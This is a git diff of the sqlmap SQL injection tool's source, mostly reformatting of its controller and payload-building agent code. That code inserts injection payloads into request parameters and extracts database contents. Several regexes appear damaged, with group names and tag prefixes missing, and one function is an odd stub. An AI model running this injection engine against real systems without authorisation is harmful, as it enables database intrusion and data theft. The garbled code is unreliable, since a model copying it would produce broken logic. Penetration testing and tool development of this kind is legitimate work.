kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True) + def checkConnection(suppressOutput=False): threadData = getCurrentThreadData() @@ -1515,7 +1609,8 @@ def checkConnection(suppressOutput=False): kb.errorIsNone = False if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS): - singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) + singleTimeWarnMessage( + "turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) conf.disablePrecon = True if not kb.originalPage and wasLastResponseHTTPError(): @@ -1534,8 +1629,10 @@ def checkConnection(suppressOutput=False): else: kb.errorIsNone = True - if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: - if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]): + if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[ + 0] == threadData.lastRequestUID: + if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode( + threadData.lastRedirectURL[1]): conf.url = re.sub(r"https?://", "https://", conf.url) match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) port = match.group(1) if match else 443 @@ -1550,7 +1647,7 @@ def checkConnection(suppressOutput=False): warnMsg += "any addressing issues" singleTimeWarnMessage(warnMsg) - if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )): + if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND,)): errMsg = getSafeExString(ex) logger.critical(errMsg) @@ -1568,11 +1665,13 @@ def checkConnection(suppressOutput=False): kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalCode = threadData.lastCode - if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: + if conf.cj and not conf.cookie and not any( + _[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) message = "you have not declared cookie(s), while " - message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) + message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", + r"\g<1>...\g<2>", candidate) message += "Do you want to use those [Y/n] " if readInput(message, default='Y', boolean=True): kb.mergeCookies = True @@ -1580,9 +1679,11 @@ def checkConnection(suppressOutput=False): return True + def checkInternet(): content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] return CHECK_INTERNET_VALUE in (content or "") + def setVerbosity(): # Cross-referenced function raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2ea81d9c2..74df8655f 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -79,6 +79,7 @@ from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile + def _selectInjection(): """ Selection function for injection place, parameters and type. @@ -141,6 +142,7 @@ def _selectInjection(): kb.injection = kb.injections[index] + def _formatInjection(inj): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) @@ -162,11 +164,13 @@ def _formatInjection(inj): vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title - data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) + data += " Payload: %s\n" % urldecode(payload, unsafe="&", + spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -178,7 +182,8 @@ def _showInjections(): header = "sqlmap resumed the following injection point(s) from stored session" if conf.api: - conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) + conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), + "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") @@ -194,6 +199,7 @@ def _showInjections(): warnMsg += "included in shown payload content(s)" logger.warning(warnMsg) + def _randomFillBlankFields(value): retVal = value @@ -212,6 +218,7 @@ def _randomFillBlankFields(value): return retVal + def _saveToHashDB(): injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) if not isListLike(injections): @@ -236,6 +243,7 @@ def _saveToHashDB(): if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) + def _saveToResultsFile(): if not conf.resultsFP: return @@ -256,7 +264,8 @@ def _saveToResultsFile(): try: for key, value in results.items(): place, parameter, notes = key - line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) + line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, + "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) conf.resultsFP.write(line) conf.resultsFP.flush() @@ -264,6 +273,7 @@ def _saveToResultsFile(): errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) + @stackedmethod def start(): """ @@ -339,9 +349,13 @@ def start(): if conf.data: # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers - conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data) + conf.data = re.sub(r"\b(__\w+)=([^&]+)", + lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), + conf.data) - conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] + conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if + conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in + conf.httpHeaders[i + 1:])] initTargetEnv() parseTargetUrl() @@ -349,7 +363,9 @@ def start(): testSqlInj = False if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % ( + re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, + re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: @@ -377,15 +393,19 @@ def start(): if conf.multipleTargets: if conf.forms and conf.method: - message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl) + message = "[%d/%s] Form:\n%s %s" % ( + targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl) else: - message = "[%d/%s] URL:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl) + message = "[%d/%s] URL:\n%s %s" % ( + targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: - message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) + message += "\n%s data: %s" % ( + (conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, + urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: @@ -400,10 +420,17 @@ def start(): break else: if conf.method != HTTPMETHOD.GET: - message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") + message = "Edit %s data [default: %s]%s: " % (conf.method, + urlencode(conf.data or "") if re.search( + r"\A\s*[<{]", + conf.data or "None") is None else conf.data, + " (Warning: blank fields detected)" if conf.data and extractRegexResult( + EMPTY_FORM_FIELDS_REGEX, + conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) - conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data + conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, + None) not in conf.data else conf.data else: if '?' in targetUrl: @@ -439,7 +466,8 @@ def start(): if conf.rParam and kb.originalPage: kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) - for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage): + for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", + kb.originalPage): name, _ = match.groups() options = tuple(re.findall(r"]+\bvalue\s*=\s*[\"']([^\"']+)", _)) if options: @@ -450,7 +478,8 @@ def start(): if conf.nullConnection: checkNullConnection() - if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): + if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and ( + kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable @@ -484,7 +513,8 @@ def start(): # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2)) - skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) + skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ( + [], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) @@ -515,7 +545,8 @@ def start(): if paramKey in kb.testedParams: testSqlInj = False - infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping previously processed %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): @@ -524,19 +555,24 @@ def start(): elif parameter in conf.rParam: testSqlInj = False - infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping randomizing %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: testSqlInj = False - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): + elif conf.paramExclude and ( + re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search( + conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): @@ -546,26 +582,33 @@ def start(): logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any( + _ in parameter.lower() for _ in + CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith( + GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False - infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "ignoring %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: - warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) + warnMsg = "%sparameter '%s' does not appear to be dynamic" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.warning(warnMsg) if conf.skipStatic: - infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping static %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) testSqlInj = False else: - infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "%sparameter '%s' appears to be dynamic" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) @@ -580,11 +623,13 @@ def start(): if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "skipping %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) continue - infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + infoMsg = "testing for SQL injection on %sparameter '%s'" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) @@ -607,7 +652,8 @@ def start(): process = subprocess.Popen(conf.alert, shell=True) process.wait() except Exception as ex: - errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) + errMsg = "error occurred while executing '%s' ('%s')" % ( + conf.alert, getSafeExString(ex)) logger.error(errMsg) kb.alerted = True @@ -616,7 +662,9 @@ def start(): if not proceed: break - msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) + msg = "%sparameter '%s' " % ( + "%s " % injection.place if injection.place != injection.parameter else "", + injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): @@ -625,7 +673,8 @@ def start(): kb.testedParams.add(paramKey) if not injectable: - warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) + warnMsg = "%sparameter '%s' does not seem to be injectable" % ( + "%s " % paramType if paramType != parameter else "", parameter) logger.warning(warnMsg) finally: diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 227a2ceb7..83e8aabd9 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -95,6 +95,7 @@ from plugins.dbms.vertica import VerticaMap from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn from plugins.dbms.virtuoso import VirtuosoMap + def setHandler(): """ Detect which is the target web application back-end database @@ -131,7 +132,9 @@ def setHandler(): (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), ] - _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) + _ = max( + _ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () + for _ in items) if _: items.remove(_) items.insert(0, _) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3a09c4450..4f3fad23d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -59,6 +59,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.unescaper import unescaper from thirdparty import six + class Agent(object): """ This class defines the SQL agent methods. @@ -74,7 +75,8 @@ class Agent(object): elif query.startswith("; "): query = query.replace("; ", "", 1) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) + if Backend.getIdentifiedDbms() in ( + DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) for field in fieldsToCastStr.split(','): query = query.replace(field, self.nullAndCastField(field)) @@ -118,7 +120,8 @@ class Agent(object): if place == PLACE.URI: origValue = origValue.split(kb.customInjectionMark)[0] else: - origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) + origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in + (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':', ',', '&'): if char in origValue: @@ -131,7 +134,8 @@ class Agent(object): elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' - origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) + origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult( + r"(?P[^%s]*)\Z" % quote, origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else _ @@ -196,9 +200,11 @@ class Agent(object): if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: + if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber( + newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) - elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: + elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search( + r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) else: newValue = self.addPayloadDelimiters(newValue) @@ -213,9 +219,12 @@ class Agent(object): retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) if match: - retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) + retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), + encodeBase64(match.group(2), binary=False, + encoding=conf.encoding or UNICODE_ENCODING))) else: - retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) + retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), + self.addPayloadDelimiters(newValue)) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: @@ -230,7 +239,8 @@ class Agent(object): _ = re.search(r"\\g<([^>]+)>", repl) if _: try: - repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + repl = repl.replace(_.group(0), match.group( + int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: @@ -239,13 +249,17 @@ class Agent(object): return retVal if origValue: - regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") + regex = r"(\A|\b)%s=%s%s" % ( + re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: - retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % ( + re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), + r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: - retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), + "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') @@ -293,7 +307,9 @@ class Agent(object): if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False)) - if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): + if not (expression and expression[0] == ';') and not ( + query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not ( + query and query[-1] == '('): query += " " query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) @@ -322,7 +338,8 @@ class Agent(object): comment = getTechniqueData().comment if comment is None else comment if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): - if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): + if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith( + queries[Backend.getIdentifiedDbms()].comment.query): comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: @@ -369,7 +386,9 @@ class Agent(object): origValue = getUnicode(origValue) if "[ORIGVALUE]" in payload: - payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) + payload = getUnicode(payload).replace("[ORIGVALUE]", + origValue if origValue.isdigit() else unescaper.escape( + "'%s'" % origValue)) if "[ORIGINAL]" in payload: payload = getUnicode(payload).replace("[ORIGINAL]", origValue) @@ -401,7 +420,8 @@ class Agent(object): if payload: for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): - _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) + _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, + safe=conf.base64Safe) payload = payload.replace(match.group(0), _) payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) @@ -421,7 +441,8 @@ class Agent(object): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) if match: - payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3)))) + payload = payload.replace(match.group(0), "%s%s%s" % ( + match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3)))) return payload @@ -489,7 +510,9 @@ class Agent(object): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] - if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not ( + field.startswith("COUNT(") and getTechnique() in ( + PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): @@ -547,7 +570,8 @@ class Agent(object): if not Backend.getIdentifiedDbms(): return fields - if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): + if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith( + "MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: fieldsSplitted = splitFields(fields) @@ -555,7 +579,8 @@ class Agent(object): nulledCastedFields = [] for field in fieldsSplitted: - field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work + field = re.sub(r"(?i) AS \w+\Z", "", + field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) @@ -628,7 +653,8 @@ class Agent(object): fieldsToCastStr = fieldsToCastStr or "" # Function - if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: + if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or ( + fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) @@ -649,7 +675,8 @@ class Agent(object): if conf.db and table and conf.db in table: table = table.split(conf.db)[-1].strip('.') try: - columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)] + columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][ + safeSQLIdentificatorNaming(table, True)] for name, type_ in columns.items(): if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field: retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name @@ -687,7 +714,8 @@ class Agent(object): if unpack: concatenatedQuery = "" query = query.replace(", ", ',') - fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) + fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields( + query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: @@ -702,14 +730,19 @@ class Agent(object): concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) - concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) + concatenatedQuery = "%s,'%s')%s" % ( + concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, + concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in ( + DBMS.PGSQL, DBMS.ORACLE, 